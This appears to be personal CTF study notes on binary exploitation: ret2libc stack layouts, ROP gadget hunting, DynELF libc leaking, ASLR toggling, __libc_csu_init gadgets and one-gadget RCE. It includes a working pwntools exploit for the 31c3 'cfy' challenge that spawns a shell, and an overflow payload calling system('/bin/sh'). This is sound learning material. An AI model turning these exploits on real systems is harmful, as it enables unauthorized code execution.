Some notes.
Tools for finding gadgets
- rp++
- ROPgadget
Ret2libc
When the program has NX enabled, shellcode on the stack can’t execute; you can use ret2libc, or use ROP to call mprotect and open an rwx segment.
Passing arguments
- x86 via the stack
- x86_64 via registers
Ret2libc stack layout
Stack the arguments as completely as possible to avoid annoying issues.
The usual x86 layout is:
padding + function + ret address + argv1 + argv2 + argv3 ....
The function can usually jump straight to .plt; the ret address is where you want to go after it finishes. If you’re just building system("/bin/sh"), the ret address can be left blank.
For example:
'A'*100 + p32(system_addr) + p32(0) + p32(binsh_addr)
x64:
Use some pop reg gadgets to set up the registers.
x32
Arguments are stacked directly on the stack; use pop_ret to clear the used arguments.
read @ plt
pop_pop_pop_ret
0
addr
length
system @ plt
x86_64
- Max address
0x00007fffffffffff
DynELF
If you don’t know the target’s libc, you can use a pwntools tool called DynELF: give it a leak point and it can find function addresses for you.
This is cfy from the 31c3 CTF, which you can use for practice:
from pwn import *
import time
printf_got = 0x601020
def leak(addr):
r.sendline('2')
r.sendline(p64(addr) )
s = r.recvline_contains('hex: 0x')[5:].strip()
s = p64( int(s,16) )
return s
r = remote('localhost',4000)
ptr_libc = u64(leak(printf_got))
d = DynELF(leak, ptr_libc)
system = d.lookup('system')
print r.recvuntil('quit')
r.sendline('7')
r.sendline('/bin/sh\x00' + 'A'*8 + p64(system) )
r.interactive()
ASLR
- aslr on
sudo sysctl -w kernel.randomize_va_space=2
- aslr off
sudo sysctl -w kernel.randomize_va_space=0
If ASLR is on, locally on 32-bit you can disable it with ulimit -s unlimited, or you can use puts to leak data in the .got section — the offsets between libc functions are fixed.
Commonly seen functions:
- __libc_start_main
- puts
- read
- write
- …..
x64 general-purpose gadgets
All of these functions can be used:
_init
_start
call_gmon_start
deregister_tm_clones
register_tm_clones
__do_global_dtors_aux
frame_dummy
__libc_csu_init
__libc_csu_fini
_fini
ROPgadget --binary ./binary --depth 100
Different versions have slightly different gadgets, but they’re all usable — they live in __libc_csu_init()
If some instructions are cut in half, you can still operate on registers:
<__libc_csu_init>:
5b pop rbx
5d pop rbp
41 5c pop r12 -> pop rsp (5c)
41 5d pop r13 -> pop rbp (5d)
41 5e pop r14 -> pop rsi (5e)
41 5f pop r15 -> pop rdi (5f)
c3 ret
mov rbx,QWORD PTR [rsp+0x8]
mov rbp,QWORD PTR [rsp+0x10]
mov r12,QWORD PTR [rsp+0x18]
mov r13,QWORD PTR [rsp+0x20]
mov r14,QWORD PTR [rsp+0x28]
mov r15,QWORD PTR [rsp+0x30]
add rsp,0x38
ret
Using these gadgets you can control r12-r15; for the call qword ptr [r12+rbx*8], set rbp to 1 and rbx to 0 so that it keeps returning. It’s clearer if you step through this part yourself.
4c 89 ea mov rdx,r13
4c 89 f6 mov rsi,r14
44 89 ff mov edi,r15d
41 ff 14 dc call QWORD PTR [r12+rbx*8]
One gadgets RCE
Some specific libc versions hide a spot that directly runs execv("/bin/sh"). Look near where libc uses execv for a hidden “/bin/sh” string — sometimes it just works.